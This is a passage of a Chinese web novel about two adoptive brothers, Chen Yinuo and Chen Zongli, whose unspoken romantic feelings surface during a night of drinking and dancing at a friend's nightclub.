真像一个落魄的王子…… …… 忽然想起,前不久的一天晚上,他们跟普尔斯,打越洋视频会议到深夜。 当时,他们的烟都抽完了,趁着会议间隙,一起步行去便利店买烟。 两人并肩走在微微有风的初秋夜里,偶尔一辆网约车停在天峻楼下,把加班的社畜载走,金环大道上,又是安安静静,冷冷清清的。 他们朝便利店走着,陈宗礼忽然开口:“我一直想问,你为什么要参与羽南港?” “近年天峻的生意陷入停滞,急需开源新项目,羽南港是天峻开源的项目之一。” “可一星的游戏和短视频做得有声有色。莫多里收购后,现金流也盘活了,干嘛还要蹚羽南港的浑水?跟zf打交道,做房地产……全是你陌生的领域,费时费力,还不讨好……何必呢?” 陈一诺低头看着地面,他跟陈宗礼的影子,几乎等高等大了。他朝里走一点,让他们的影子连在一起。合体成一只巨大的两头怪兽,在黑夜的地面,缓慢地蠕动。 陈宗礼的提问,过于突然,以至于陈一诺有些不知所措。 首先他不能说,是因为重生,他要救陈家,而羽南港是对天峻非常重要的项目。 他想了想,从另一个角度解释道:“我确实有一百个退出羽南港的理由,但让我加入的理由只有一个——这是我跟你合作的项目。所以,任何理由都无法劝退我。” “就这样?”陈宗礼转头,难以置信地看着陈一诺。他的感情用事,是商场上罕见的。 陈一诺很轻松:“对,就这样。” 上班时间太久,他摘掉了隐形眼镜,换上黑框眼镜,透过厚平底镜片,能看到他眼里的红血丝。 但这样的眼神,让陈宗礼莫名想起那年,陈一诺抱着他说,哥只想呆在你身边。 一颗早就麻木的心,忽然回温,凝固的血液逐渐融化,进而沸腾,不停地把暖意输送到四肢百骸。 陈宗礼不想承认,但如果人生有分割线,陈一诺就是他的人生分割线。 没有陈一诺的时候,日子过一天算一天。 他像希腊神话里的西西弗斯,每天把巨石,沿着陡峭的山,一步一步吃力的往上推,周而复始。 但他比西西弗斯幸运,西西弗斯推球到顶后,只能眼睁睁看石头沿路返回,第二天重复着昨天的故事,循环往复做无用功。 他不同,他日复一日推着石头,它偶尔会往下滑落到低谷,他便花两倍的时间、力气把它推回原位;它偶尔能成功登顶高山,他便在顶峰看看风景,继续往更高的山峰去。 无论高山低谷,那都是他一个人枯燥的功课。比西西弗斯幸运,却也像个魔咒。 可推石的路上,有了陈一诺的加入,日子便不一样了。 同样是推动石头,他们可以轮流推,可以一起推,推巨石的重复行为,变得没那么难熬,甚至让人期待。 在吃力地朝陡峭高山进发时,他们能说说笑笑。有时候,可能会因为太好笑,手没推稳,巨石“轱辘轱辘”滚下十来米。他们又互相骂骂咧咧往下跑,再说说笑笑往上推。 …… 现实也一样。这段时间,他跟陈一诺,做兄弟,做生意伙伴,除了睡觉,几乎一起生活、工作。 就在今天,3小时前,他们凭借多年的默契,跟村民斗智斗勇,不费一兵一卒解决一条村的旧改问题。 如果一辈子,都有这样并肩作战的战友、兄弟,多好啊?!而他已经拥有了,多好啊! 直到3小时后,他看着迪吧顶上的追光灯“刷”地落在陈一诺身上,那张天真的笑脸,浑身上下发着光,天使如果下凡,估计就跟陈一诺长得一样。 但,此时此刻,站在他面前,与他共舞的,是别人。 不久的将来,跟他牵手的,共度余生的,也会是别人。 骤然的心疼,让陈宗礼忽地咬紧牙关,他有一种感觉,如果他的猜想真的发生了。陈一诺真的跟别人共度余生,这种要命的疼痛,会伴随他一辈子。 心里有个声音:陈宗礼,别掩耳盗铃,欺骗自己了。 终于,他打碎了心中最后一丝虚妄,清楚地意识到:他跟陈一诺,可以做生意伙伴、做朋友、做知己、做兄弟…… 他们可以构建一百种关系…… 但他想要的,由始至终,只有一种。 他想,陈一诺做他的恋人。 今生唯一的那种。 第63章 纷扰的舞池里,混杂着各式各样的人,各种各样的味道。 在音乐和人群的环绕中,陈一诺的目光总不自觉地往二楼的VIP包间飘。偶尔能看见陈宗礼的侧脸。看他手上捏着的雪茄,鼻尖就跟有记忆似的,自动想起陈宗礼那口大卫朵夫的味道。 “喂喂喂!一诺,你不专心!” 普尔斯搂着他的脖子,另一只手的食指和中指弯曲,在自己眼睛和他的眼睛之间,来回比划着:“眼睛!Focus!” 陈一诺想把他的手从脖子上抓下来:“你发什么疯?Focus什么?!” 普尔斯是同性恋,这件事,他们在大学第一次见面时,就知道了。 陈一诺跟他的性取向不同,但都是NYU里公认的校草。 “好看的人就应该一起玩。”普尔斯的原话。 神奇的是,普尔斯从没想过掰弯他,他也从未想过喜欢他,就这么100%纯友谊到毕业。 这回见面,普尔斯却屡次突破社交距离,始终粘着他。 这让他感到困惑,心想:这小子,终于忍不住要掰弯他了? “不!要贴!”普尔斯不依不饶地,索性双手都挂在他脖子上。 舞池里,几首串烧KPOP结束后,DJ换了一首慢摇。 无论是身材还是颜值,他们俩在舞池里都太出挑,本就是聚光灯般的存在,非常引人注目。现在,还亲密地贴在一起,跟着音乐慢慢摇晃,那些探寻的目光里全是暧昧。 “别闹!”陈一诺坚持要把他的手抓下来,普尔斯偏偏不依不饶,甚至说了英文:“旁边有个帅哥,你让我挂一下,刺激他!” “作为交换,告诉你一个秘密!” 普尔斯跟他身高差不多,陈一诺垂眸看他,语气里全是不耐烦:“有话就说!” 普尔斯笑了,双手挂在他脖子上晃啊晃,眯着眼睛,神秘道:“你哥是GAY!” 陈一诺皱眉,仿佛听到什么天荒夜谈。斩钉截铁道:“不可能。” 普尔斯回答也非常斩钉截铁:“为什么不可能?!我的GAY达从不出错。” 陈一诺惊讶他用对了四字词语,却忍不住骂道:“不出错?!你是不是不记得,我们第一次见面,你也说我是GAY!” “那么多年过去了,我GAY了吗?!你的GAY达真不用进厂返修?” 普尔斯摇摇头,用蹩脚的中文解释:“不是不GAY,时候没对!”????还能押韵,就很离谱! 普尔斯继续道:“再说,你没谈过恋爱吧!” “你没见过你哥谈恋爱吧!” 普尔斯一连用两个语气强烈的肯定句,质问陈一诺。陈一诺没第一时间否定。 陈宗礼跟李思维的绯闻是“乌龙”,这样看,他确实没谈过。 没否定就是肯定,普尔斯更加理直气壮:“看吧,你们都没谈过,怎么证明我是错的?” 陈一诺双手交叉胸前,继续跟他讨论:“你为什么觉得他是GAY呢?!” 普尔斯指着眼睛:“他看你的眼神,不一样!” 就这? 陈一诺气笑了:“因为我是他弟弟!” 普尔斯手指摇了摇,带着陈一诺的视线,投向舞池对面——庄家轩正在舞池一侧,跟陈宗瑜热舞。 普尔斯:“那是他的妹妹。” 他收回手指,神神叨叨:“他看妹妹的眼神,跟看你的眼神,不一样!” “如有雷同,我天打雷劈!” …… 那句话,普尔斯说得很慢,也很淡。 大家对一件事有共识,这个共识就变成了常识。 可某天,一个人打破了共识,并且提供全新解读,大家再回头看这件事,就无法理解原来的共识了。 如果陈宗礼看他的眼神,不是看兄弟姐妹的眼神,那是什么眼神?那是什么意思? 满脑子的疑问,混杂着满耳朵的嗡鸣,让陈一诺决定提前离开舞池,回VIP包间稍事休息。 从旋转楼梯的到二楼,沿着昏暗的长廊,忽然,面前冲出来两道混着脂粉味的身影,比他先一步开门进了包间。 他下意识停在门口,看了眼房号,确认是他们的包间,才迟疑地推门往里看。 包间里,本来只有陈宗礼一个人。 他靠坐在黑色真皮沙发上,左手慵懒地搭在沙发靠背,右手捏着雪茄,茶几放着一瓶喝剩五分之二的麦卡伦,他眼神放空,坐在那儿缓慢地吞云吐雾,看起来像是喝多了。 比他抢先进房的一男一女,他看侧面认出来了,算是圣保罗时期的同学。 男生怀里夹着一瓶酒,献宝似的:“宗礼,毕业以后,我们就没见过了。难得你大驾光临我新开的酒吧,特意开了一瓶轻井泽!刚从亚士得拍回来的,一起喝一杯!” 陈宗礼撩起眼皮看他们,眯着眼睛辨认:“王平臻,王莹颖,是好久不见。” 听见王平臻,王莹颖的名字,陈一诺立刻想起来。他们的父亲王峰,被称作“港城铺王”,别人开发房地产,他只入手港城的临街旺铺,那种“整条街都是我家的”说的是他家的真实写照。 王家靠着炒卖商铺、收租等业务,也混得风生水起,跻身豪门。连拥有半数网红餐饮店的贺朝阳,也要给他们父亲交租。 王家兄妹在学校时期并不出众,王平臻还留过级,跟陈一诺做过同学。 大学混了几年回来帮家里人搭理生意。顺便用自家的旺铺,开了几家店小试牛刀。 而这家“迪吧”就是他新开的。 看陈宗礼认得自己,王莹颖立刻应下:“对,你贵人事忙,没想到你还记得我们。” 她一手抢过哥哥手里的轻井泽,笑着给陈宗礼倒酒:“怎么包间就你一个人?舞池好像也没看见思维。” 鎏金似的酒液潺潺地涌出,很快没过晶莹剔透的冰球。陈宗礼捏着冒着水珠的杯身,低声道:“今天她没来。” 王莹颖身材妖娆,鲜红的紧身裙上带着闪闪发光流苏,她坐在沙发上,笑着说:“你们也都是大忙人,各有各的忙。不过,我刚刚在舞池看见一诺他们了。” “一诺真是越来越帅了啊,舞池里的女生都在议论他,卷得场子里的男人孔雀用力开屏。” “你们兄弟真厉害,从学校到工作,去哪儿都是焦点。” 陈宗礼目光有些迷茫,皱眉问:“他以前很受欢迎?” 在他的记忆里,对于陈一诺,除了成绩,对他的校园生活不算了解。听见有人说他受欢迎,还有些惊奇。 王平臻忽然兴奋地插嘴道:“一诺在学校,不是很受欢迎,是特别受欢迎!” “一个插班生,入学一学期开始跑到第一,还保持三年。摘了隐形眼镜之后,更帅人气更高。学校图书馆因为他,中午不对外开放。” 往事让人难忘,王莹颖立刻附和:“对对对,图书馆,我们都去过呢!” 陈宗礼喝了酒,脑袋转得慢:“什么图书馆?” 王平臻俯身道:“圣保罗的图书馆,平时上学,中午和放学后都开放给学生自习。” “一诺中午吃完饭,就喜欢去图书馆看看书什么的。” “有一天,不知道谁偷拍了一张他在图书馆的照片,直接炸了学校论坛,那天之后,好多学生中午涌进图书馆看他。差点把图书馆挤爆。学校知道以后,图书馆改成预约制,中午还不对外开放。” 王平臻在手机里点了几下,递给陈宗礼:“就是这张照片。” 手机屏幕里,出现高中时期的陈一诺。 拍摄时间在夏天,他穿着圣保罗的短袖衬衫校服,坐在原木书桌旁看书,手指还在转笔。脚边的边牧忽然四仰八叉,朝他露出肚皮,陈一诺托着脑袋看它,眉眼弯弯的,嘴角宠溺的笑容能融化万物。 王莹颖喃喃:“据说,这只狗,是他在台风天垃圾堆旁边遇到的。他把小狗送去宠物医院。路上遇到图书馆的大叔。大叔就把狗收养了。” “怕吓到学生,平时大叔不让它出来,一诺来的时候,才让它在图书馆里待一会儿。” 王平臻:“有一回,几个高一生弄得边牧一身伤。都是富二代,大叔敢怒不敢言的。后来,陈一诺知道了,把人约去岚枫山飙车。对方输了就给狗赔钱道歉,对方赢了他给对方赔钱道歉。” 说到飙车,陈宗礼皱起眉头:“飙车?” 王莹颖没察觉陈宗礼的语气里的玩味。以为他不知道陈一诺会飙车,兴奋道:“你也很惊讶吧!” “那几个高一生是赛车场常客,也喜欢飙车。刚开始看轻一诺,觉得他是养子地位不高,平时只会死读书不会飙车。于是,一口答应!” “结果,比赛那天,一诺那车技吓死人,几乎套圈赢他们。” “那几个高一生输了耍赖,只赔钱不道歉!结果,被几个古/惑/仔摁在地上摩擦,无奈之下,才跟边牧道歉。一诺可坏了,站在旁边全程拍了视频,把几个高一生气得吐血。” “那次以后,一诺一战成名!” “人帅,成绩好,心地善良,跟你并肩成为圣保罗表白墙第一!” 陈宗礼淡淡道:“是吗……” 圣保罗表白墙,位置在圣保罗后门围墙。原本是给学生自由发挥、美化校园的涂鸦墙,结果成了著名景点——圣保罗表白墙。 其他人都是占据表白墙的某个小位置。 唯独“陈宗礼”三个字,从初一开始,被人用喷漆喷在整面墙上。爱慕者围绕着那三个字,细细碎碎填满了表白的宣言,是圣保罗实至名归的“人气王”。 陈宗礼本人没空去看,但庄嘉轩这个闲人,专门跑去跟表白墙,打了个卡,还专门给他看。 陈宗礼看完庄嘉轩的打卡照,还问,是不是可以告对方侵犯名誉权。 当时,庄嘉轩难以置信地朝他翻白眼,让他做个人。 他确实没想到,“陈一诺”三个字,会在几年后,被写在他旁边的另一堵表白墙上。 王平臻给他看了另一张照片。 他跟陈一诺的名字分别被写在两堵墙上,近看,墙面写满了密密麻麻的表白,数量难分伯仲。要是细看,能发现表白的,不但有女的,还有男的。 远看,他们的名字,像一对翅膀,对称又成双。 仿佛,他们才是表白墙上,最耀眼的一对。 …… “对了……”王平臻脸上有些局促,“一诺,有喜欢的人了吗?” 陈宗礼缓和的表情,瞬间明白,为什么这人存着陈一诺的照片。 他睨着王平臻:“怎么?” 王平臻笑笑:“看他这几年都没有绯闻,本来以为他单身。刚刚在舞池,看他跟那个金发碧眼的帅哥挺亲密的……所以,问问……” 陈宗礼冷笑着:“我不知道!” 说完把面前的威士忌喝尽,扬起头时下颌线不经意收紧,喉结上下滚动,简单一个吞咽动作,像打开了释放荷尔蒙的开关,让看的人禁不住心跳加速。 忽然,他涣散的眼神收了收,噙着笑:“要不,你问问他本人?”—— 作者有话说:陈一诺:嘿嘿嘿~被人夸了半天,开心心! 第64章 包间内,所有人闻声朝陈宗礼目光看去,发现门口站着陈一诺,顿时不作声了。 陈一诺穿着白衬衫,刚从舞池出来有些落拓。他双手交叉靠在门边,那双狡黠的眼睛,弯弯的打量他们,嘴上扬着玩味的笑容,不知道站了多久,听了多少。 看自己终于被发现了,才扬着笑意坐到沙发上,责怪陈宗礼:“叫我干什么?还想听你们多夸夸我呢~” 明明没在背后说陈一诺的坏话,但当本人坐在现场,王平臻和王莹颖多少有些局促。 王平臻主动破冰,给陈一诺倒酒,眼神不太平静。 “一诺,我们也好久不见。来,喝一杯!” 陈一诺跟他轻轻碰了碰:“你这酒吧不错啊,帅哥美女真多。” “我朋友普尔斯在舞池看上好几个小帅哥,我硬是被拉着当工具人,跳得骨头快散架……” 几句话,轻描淡写地,解释了自己跟金发碧眼小帅哥的关系。 陈宗礼咬着雪茄的嘴角扬了扬,目光瞥向王平臻,发现他也松了口气。 还说:“喜欢多来!你什么时候来,提前告诉我就行。临时来的话,临时通知我也行。” 反正就是一句话:随叫随到。 王莹颖都忍不住剐了亲哥一眼,提醒他收敛点。 陈一诺倒是很自然地问:“好啊,我们加个wx吧,刚你说的照片也发我。我自己都没看过。” 听见陈一诺要加王平臻的wx,陈宗礼的上斜眼眯了眯,心想有什么好加的,这种吵死人的酒吧,有必要来第二次? “宗礼!宗礼?”王莹颖喊了他好几声,陈宗礼才回过头,声音很冷,“有事?” 王莹颖本想趁机加他wx,被他这张脸冷到,收起手机道:“我就是想问你,还喝酒吗?” 陈宗礼摆摆手:“不用了。” 说罢,视线又转回陈一诺这边。 …… 陈一诺跟王平臻加了好友,还聊了几句有的没的。 沉默许久的陈宗礼,忽然开口:“王老板,有人打架,不管管?” 王平臻兄妹几乎同时从包间的往下看。舞池中央,真的有两个男人扭打起来,虽然被保安拉开,依然引起了不少恐慌。 王平臻欲言又止地看着陈一诺,无奈道:“那……那我先去处理,你们继续玩。” 他离开前,手指勾着那瓶轻井泽要走,刚碰到瓶身,就被陈宗礼按下,冷淡的脸上,挂着笑:“说请我们喝一杯,就真的只有一杯啊?” 王老板尴尬地笑着,慢慢收回手,恋恋不舍地看着那瓶十几万的轻井泽,无奈道:“当然不是,既然你喜欢那……那这瓶酒送你们……” 陈宗礼这才真开心了:“谢谢王老板,生意兴隆。” …… 赔了夫人又折兵的王平臻离开包间,嘀嘀咕咕:“堂堂太子爷,怎么还坑我的酒喝!” 目睹了陈宗礼盯人全过程的王莹颖,后怕地推着哥哥往楼下走:“坑你一瓶酒算轻的了!” 王平臻满脑袋官司:“什么意思?” 王莹颖:“别觊觎不该觊觎的人!听懂了吗?!” …… 王平臻兄妹离开后,包间内,只剩下陈一诺和陈宗礼。 陈一诺靠在沙发上,刷着王平臻给他发的旧照片。这些照片,他有的见过但忘了,有的压根没见过。 能重温上辈子为数不多的欢乐时刻,陈一诺觉得珍贵又开心。 他边看照片,边笑道:“好久没回圣保罗,也不知道六月怎么样了。” 他转头看向陈宗礼,解释:“六月就是那只边牧的名字。我在六月台风天捡到它,所以叫六月。有空回去一趟看看……” 陈宗礼看着他认真的侧脸,忽然秋后算账:“你去飙车了?” 陈一诺后背僵着,卖着乖看陈宗礼:“哥,他们说了我那么多好话,你怎么还记得这个?” “那我出国以后,你自己还去玩越野撞了车,又怎么说?” “我们一起答应的老太太,以后不碰赛车。我好歹是为了六月报仇。那几个高一简直缺德。拿烟头烫它耳朵,都烫出窟窿了!看了兽医,也长不好,像个耳洞。” 没料到一个疑问会激起陈一诺的一通输出。口水差点喷到陈宗礼脸上。 “而且,我告诉你……”陈一诺忽然盘起腿,面对陈宗礼坐着,左右两边的手指,放在他的眼睛上。 “六月的眼睛也是往上斜斜的,跟你特别像!我替它出气,四舍五入不就是替你出气吗?!” 陈宗礼皱眉:“你这什么歪理,救狗如救我?” 胡编乱造讲歪理的陈一诺,嘿嘿两声:“你说是就是吧。” 话题没再继续,陈一诺反问他:“你呢?你为什么又去赛车?还是最危险的山地越野。” “庄嘉轩跟我说,你送我出国之后,除了工作像个机器人。只有赛车的时候,才有点活人感。” 他郑重地盯着陈宗礼,陈宗礼却没开口,单手拎起酒瓶,把它反过来,让酒液浸润陈旧的酒塞。 陈一诺拽着他的衣袖,不让他动作,有种打破沙锅问到底的气势。 但陈宗礼力气更大,他把酒瓶摆正,熟练地拧开酒塞,朝杯子里倒了两杯酒。 “你出国之后,我就从老宅搬出去,住在公司附近的大平层,老宅住不下去。” “平时,除了工作,就是工作。一件一件工作丢过来,再一件一件解决掉,一天就过去了。能分散我的注意力。不至于总想着你在国外好不好之类的……” “也……很少去看奶奶,心底有些怪责她,怪她那时候没帮我。但其实,只能怪我自视太高,以为自己无所不能。结果,眼睁睁看着可控的全失控了。” 陈宗礼靠坐在沙发上看着他,借着一瓶麦卡伦混着半瓶轻井泽的醉意,落在陈一诺身上,他读到了陈宗礼眼底的苦涩。 他扯扯嘴角:“当时,赛车是我感觉唯一可控的东西。我能控制速度,控制方向,想开就开,想停就停。只是没想到,再可控的事,也会出意外。” 手上的旧患,在聊及往事时,忽然有些疼:“撞了车,受了伤……反正,那天之后,我就知道,你越想控制,反而越容易失控。那就不如,顺其自然地熬着,等着。” “也幸好,老天对我不薄,让我等到了。” 说最后一句的时候,陈一诺视线跟他对上,眼里藏着失而复得的感恩。 唯独陈一诺知道,不是每一个“陈宗礼”都有这种幸运。 …… 陈一诺见过不同的陈宗礼,自信的、意气风发的、天子骄子的…… 唯独没见过,绝望的、束手无措的、穷途末路到只能信奉“顺其自然”的陈宗礼。 莫名的,陈一诺胃里,像有几千只蝴蝶扑棱着翅膀,往外涌出…… 为了掩饰自己的不知所措,他伸手从柚木盒里拿出一根雪茄,躬着身点雪茄。 陈宗礼也不说话,安安静静地看着他动作。 他刚刚跳舞出了汗,白衬衫贴着后背,白皙的皮肤若隐若现。两侧的肩胛骨长得匀称,随着动作一张一驰,像舒展的书页。 他偶尔躬身往前,衬衫下便凸起,如蛇般蜿蜒向下的脊椎骨。 一节节的,细长的,分外清晰。 陈一诺从A国回来快半年,兰姨的汤水照顾着,依然没长回多少肉。 雪茄点燃,他咬着雪茄忽然后仰,缓慢地张开嘴,脑袋很快淹没在白烟中。 袅袅烟雾的笼罩下,只剩一个剪影。从鼻尖到下颌线再到脖颈一气呵成,流畅得让陈宗礼想用手指描摹一遍。 陈一诺忽地转身,陈宗礼要收回那道放肆的目光,已经来不及了。 破罐破摔,干脆坦然地跟他对视。 他觉得,今天陈一诺不一样,素来天真,不沾情欲的小狗眼里,有让他读不懂的东西。 视线往下,发现他手里拿着一杯威士忌,严格来说,是两根手指托着一杯威士忌。杯身的水珠聚集后滑落,沾湿了他的指尖。 他问陈宗礼:“你还能喝吗?” 这问题,在陈宗礼听来仿佛在挑衅。 陈宗礼拿着雪茄的手没动,搭在沙发上的手也没动,盯着陈一诺的目光还是没动。 他的下巴微微向上抬,陈一诺就下意识把杯子往前迁就他,他顺势咬住杯沿,带动陈一诺的手,慢慢往上抬起杯子,幽深的眼眸始终看着陈一诺。 这是一个暧昧的动作,从远看,陈一诺像在喂陈宗礼喝酒。但他们都默契地没有阻止这个动作的发生。 普尔斯说的那句话,像打开潘多拉魔盒的咒语。 让陈一诺再也无法用平常心,看待陈宗礼的眼神。 就在十几分钟前,他跟王平臻加wx,偶然从包间的镜子里,发现陈宗礼一直在看他。 以前从没发现,陈宗礼的眼睛里,原来藏着如此浓烈的情绪,那些情绪像掺杂着某种易燃易爆的物质,只要有一点火星子,就能把人烧成灰烬。 外国人有种说法:CrazyEye。陈宗礼眼里的就是。 是喝酒了变这样,还是本就如此,陈一诺分辨不出来。但他同意普尔斯的说法,陈宗礼看他的眼神,跟其他人不一样。 …… 一杯酒喝完,陈宗礼忽然开口:“什么时候学的跳舞?” 陈一诺自己喝了一杯,笑道:“在A国上学的时候太无聊,被普尔斯拉去酒吧,泡了一段时间,顺其自然就学会了。” 陈宗礼淡淡:“跳得挺好。” 陈一诺腰细腿长,动作看似没力度,但却舒展得好看。舞池里那么多人,唯独他让陈宗礼挪不开眼。 陈一诺笑道:“你想学,我教你两招。脑袋跟着音乐画一个“米”字,看见大家举手就举手,大家叫就叫,就这样挺简单的。” “米字??”陈宗礼来了兴趣。陈一诺点头,“复杂一点就粪字。” 陈宗礼似乎醉了,居然按他说的,用脑嗲胡乱地画着米字,画完一次,便嫌弃道:“好晕……” 陈一诺双手捧着他的脑袋,让他不要乱晃,耐心道:“喝醉了乱晃当然晕。” 陈宗礼眯眼看他,像要把他揉进眼珠子里:“那你教我……” 陈宗礼似乎真的醉了,往日只有他教人的份,哪有别人教他的? 没有上位者架子的陈宗礼让陈一诺觉得新鲜。 舞池的音乐声慢慢大,陈宗礼跟陈一诺像镜像的两个人,他们脸对着脸,脑袋跟着节奏,开始一笔一画写“米”字。 刚开始他们的笔画勉强同步,后来,他们忘了动作,只顾着看对方眼里的自己,接着越靠越近。 直到连彼此的呼吸声、心跳声,都听得一清二楚。 陈宗礼的鼻尖先碰上陈一诺的,他满足地蹭了蹭,学着普尔斯也把双手挂在陈一诺的脖子。 陈一诺的脖子很稳,搭在上面让人踏实,评价道:“原来是这种感觉。” 陈一诺被他鼻尖的气息烘得浑身酥麻,眼睛不自然地下滑到陈宗礼的嘴唇,此时他们都心知肚明,只要往前一指的距离,就能吻上对方。 就在这时,“砰——”包间的门忽然被暴力推开。 庄家轩冲进来大喊:“好啊你们!偷偷摸摸喝好酒!”—— 作者有话说:陈宗礼拨通电话:今天我不举报你,我喊你爷爷 陈一诺(李小龙):我打打打打……[愤怒][愤怒] 第65章 庄嘉轩的突然闯入,让陈宗礼的手指抖了抖。 耳边传来细小的一声“嘶——”,紧接着鼻尖就闻到了烧焦的味道。 炙热的刺痛刺激陈一诺的神经,他猛地往后退,单手捂着脖子,微醺的眼眸露出一丝痛苦和不解,目光移到陈宗礼手上。 陈宗礼才意识到刚刚手一抖,没注意,让雪茄烫到他脖子。 旖旎心思全然不见,他赶紧放下雪茄,借着包间里微弱的灯光,歪头检查陈一诺的后脖——果然,细长白皙的脖子上,烫出一个浑圆的印记。 庄嘉轩看见后,边倒酒,边“啧啧啧”说风凉话:“哎哟。让你们偷偷喝好酒,不叫我!遭报应了吧~” “不过,陈宗礼真不厚道。当一诺的脖子是烟灰缸啊!那么粗的大卫朵夫就往人脖子上戳。” 他故意看了眼,调笑:“嘿,这形状,不知道的,还以为是吻痕呢~” “闭嘴吧你!”陈宗礼一记眼刀飞到罪魁祸首庄嘉轩身上,好不容易压下去给二婶打电话的心思又被勾起来。 陈一诺也很恼怒,同仇敌忾地骂庄嘉轩:“不就是上回喝你几瓶Mounton,记仇到现在。” 不提还好,提起这事,庄嘉轩放下酒瓶道:“不是几瓶Mouton,是一箱Mouton!82年的Mouton!后来你们四个还跑了,我的出狱饭,我自己买的单!” “都是百亿身家的总裁!喝我的酒,蹭我的饭!这仇我不得记一辈子!” 陈一诺骂他:“小气鬼。” 庄嘉轩吐舌头对他“略略略”:“就小气,怎么了?!” 陈宗瑜拿着电话进来,撒娇道:“庄嘉轩,我妈喊我回家……” 意识到包间气氛怪怪的,问道:“哥,你们怎么了?” 陈一诺赶紧告状:“他说,上次你喝了那瓶82年的Mounton&**……%——” 小气的庄嘉轩,不愿意暴露在女友面前。于是赶紧庄嘉轩飞扑过来捂住陈一诺的嘴。 确定把人控制住,才语调柔和地对陈宗瑜说:“我让别喝了,他们偏不。我就说吧,别像上次那样,喝多了就撒手没……” “行了……”陈宗礼不知何时从沙发起身,明明刚刚还一副醉态,现在已经非常清醒,恢复成日常的陈宗礼。 他弹开庄嘉轩箍着陈一诺的手,强行分开他俩,垂眸跟陈一诺说:“我们也回家吧。” 这时,在舞池疯跳一晚的普尔斯也跑进来,看着他们手里拿着东西要走,立马说:“还没到1点就走了?你们港城人的待客之道呢?今时今日这样的服务态度是不行的!” 陈宗瑜满脸歉意:“不好意思,家里人催我回家。下次再一起玩~” 陈一诺也劝道:“你差不多行了,你这次来工作不是来旅行的!倒倒时差,接下来羽南港还要开工。” 普尔斯翻了个白眼,责怪道:“好吧。” 忽地一束追光从陈一诺后脖扫过,普尔斯眼尖,立刻看见了那个暧昧的红印。 他尖叫:“我的妈呀!吻痕!!!谁干的?” 陈一诺被他高分贝的尖叫声震住,陈宗瑜也凑过来看,接着一脸暧昧:“真的有吻痕耶,一诺哥哥,谁干的?” 作为证人也是始作俑者,庄嘉轩第一时间出卖兄弟:“我说什么来着!陈宗礼弄的!” 普尔斯和陈宗瑜异口同声:“什么?!” 这两人的“什么?!”意义大不相同。 普尔斯的“什么?!”后面跟着:什么??那么快就搞上了? 陈宗瑜的“什么?!”就……纯粹是字面意思的什么。 普尔斯惊喜地看向陈一诺,他还没说话,陈一诺脑海自动播放那句:不是不GAY,时候没对! 看来,现在时间对了! 陈一诺连忙解释:“这不是吻痕,是烟痕,他拿雪茄不小心烫的。” 陈宗瑜“哦”一声,真相大白,她便心疼道:“哎哟,那我看烫得有点严重,都红了!回去找兰姨抹点烫伤膏,不然得留疤。” 眼看他们贴得太近,庄嘉轩连忙插到他们中间,以“人肉”盾牌把他们隔开。 他以前没立场,现在好歹是个正牌男友,能光明正大对“伪情敌”表达不满。 不但不关心,还踩上两脚:“哎,一点小伤口,没事没事……我刚刚跳舞的时候脚还被踩了几脚呢……” 陈一诺被挤了一个踉跄,幸好陈宗礼眼疾手快,大手一揽扶住他。 从后面看,陈一诺仿佛被陈宗礼搂在怀里。他们在昏暗中对视一瞬,很快又错开。 陈一诺为了化解尴尬,“啧”了一声,指着庄嘉轩背影大小报告:“姓庄的嫉妒心真强!我离宗瑜近一点都不让……” 陈宗礼“嗯”了声:“早晚跟二婶举报他。” 陈一诺定定看着陈宗礼,说道:“艹!我也是这么想的!我也忍他很久了!早晚跟二婶举报他!” 一个玩笑话,打消了两人的尴尬,他们相识笑着,就跟从前一样。 …… 去停车场的途中,陈宗礼接了个电话。 普尔斯趁机凑到陈一诺身边,用肩膀撞他手臂:“哎哟,看不出来,你们进展神速啊!” 陈一诺嫌他声音大,把他拉到一边,压着声音:“你小点声!” “快什么呀?别瞎说!就是不小心被烟烫到了。” “啧!”普尔斯蔑视看他一眼,问道:“承认跟我是一丘之貉,有那么难吗?” 一丘之貉???? 陈一诺皱眉:“不是一丘之貉,也不是你想的那样,反正别乱猜……” 普尔斯一脸坏笑:“自欺欺人!” “你可以侮辱我的中文,但不能侮辱我的智商!” “那你说,什么动作能烫到这里?” 边说还边用手指,戳了戳他的脖子。 “真的,没有……”说着说着,陈一诺声音都虚了。 他心里有鬼。要不是停车场灯光暗,估计普尔斯要抓着他脸红的把柄,阴一句阳一句。 但他心里清楚,自己跟陈宗礼“差点”做了不可告人的事。 当时,他们坐在沙发上,鼻尖相抵,酒吧内音乐声、呐喊声,声声吵闹。可他耳朵里,只听得见陈宗礼沉重的呼吸声,以及自己混乱失速的心跳声。 现在闭上眼,他还能感觉陈宗礼鼻尖触碰他时,身体被瞬间点燃的感觉。 做兄弟的时候,他们也有不少身体接触,但没有一次像今天这样,叫人烈火焚身,让人手足无措。 距离打破“兄弟”的边界,就差一根手指的距离! 陈一诺心知,陈宗礼肚明。 要不是庄嘉轩突然闯进来,他们搞不好已经突破最后一指的距离——吻上了。 那么,如今他脖子上留下的,很可能就是货真价实的吻痕。 普尔斯叫的出租车,先一步抵达停车场。 上车前,他对陈一诺说:“你不承认不要紧!不要自欺欺人!” 陈一诺还嘴硬:“我没有!” 普尔斯点点自己的鼻子:“哎,看见没,你的鼻子长长咯!” 当他匹诺曹呢,陈一诺恼羞成怒:“滚吧你!” …… 回老宅的路上,陈宗礼主动坐在副驾。让陈一诺和陈宗瑜坐在后排。 途中,陈宗瑜一直拿着手机,跟庄家轩黏黏糊糊地发消息,扬起的嘴角就没落下来过。 陈一诺看不下去,说道:“才刚分开十分钟,有那么多话聊吗?” 陈宗瑜头都不抬,边打字边说:“你们单身狗不懂!” 发完最后一句,她忽地放下手机,满脸春情道:“等你什么时候谈恋爱,就知道了~” “真喜欢一个人啊,每天见都不腻,话都说不完!只想成天粘在一起!” 陈宗瑜这句话,跟当年陈宗礼说的好像。 喜欢一个人,看见的时候想,看不见的时候更想。 说到这里,陈宗瑜忽然恋爱脑大爆发:“吼……好想结婚……” 陈一诺戳戳她肩膀,顺便戳破她粉红色的白日梦:“你才多大就结婚?!没别的追求了?” 陈宗瑜回嘴:“哎,不要用你的想法,审判我的!女生非要做大女主才算有追求吗?结婚成家也是一种选择好吗!” 陈一诺迅速投降:“你说得对!我错!你嫁~赶紧嫁!” 陈宗瑜嘟囔着嘴:“一诺哥哥,你该不会是吃醋吧~我现在没法35岁嫁给你了~” 陈一诺挑眉:“哼,你还担心我?管好你自己吧,我倒要看看35岁之前,你们敢不敢见家长!” 陈宗瑜生气了,叉腰:“喂!戳人痛处是吧!” 这会儿庄嘉轩的语音电话打过来,陈宗瑜顺势接通语音开始告状。 